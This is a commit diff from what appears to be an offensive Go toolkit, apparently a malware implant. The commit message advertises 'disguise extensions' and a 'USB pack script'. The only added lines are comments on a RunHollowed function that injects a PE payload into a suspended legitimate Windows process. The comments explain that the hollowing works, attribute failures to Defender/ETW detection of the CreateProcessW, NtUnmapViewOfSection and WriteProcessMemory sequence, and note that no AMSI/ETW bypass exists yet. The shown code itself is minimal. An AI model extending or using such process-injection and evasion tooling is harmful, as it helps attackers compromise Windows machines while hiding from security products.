feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -105,6 +105,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
|
||||
}
|
||||
|
||||
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
||||
// Relocation patching (H12) is fully implemented: if the preferred image base is
|
||||
// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
|
||||
// writing to the remote process. The ~50% real-world failure rate on Windows 10/11
|
||||
// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
|
||||
// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this
|
||||
// but is not implemented.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
if len(payload) < 0x40 {
|
||||
return fmt.Errorf("payload too small")
|
||||
|
||||
Reference in New Issue
Block a user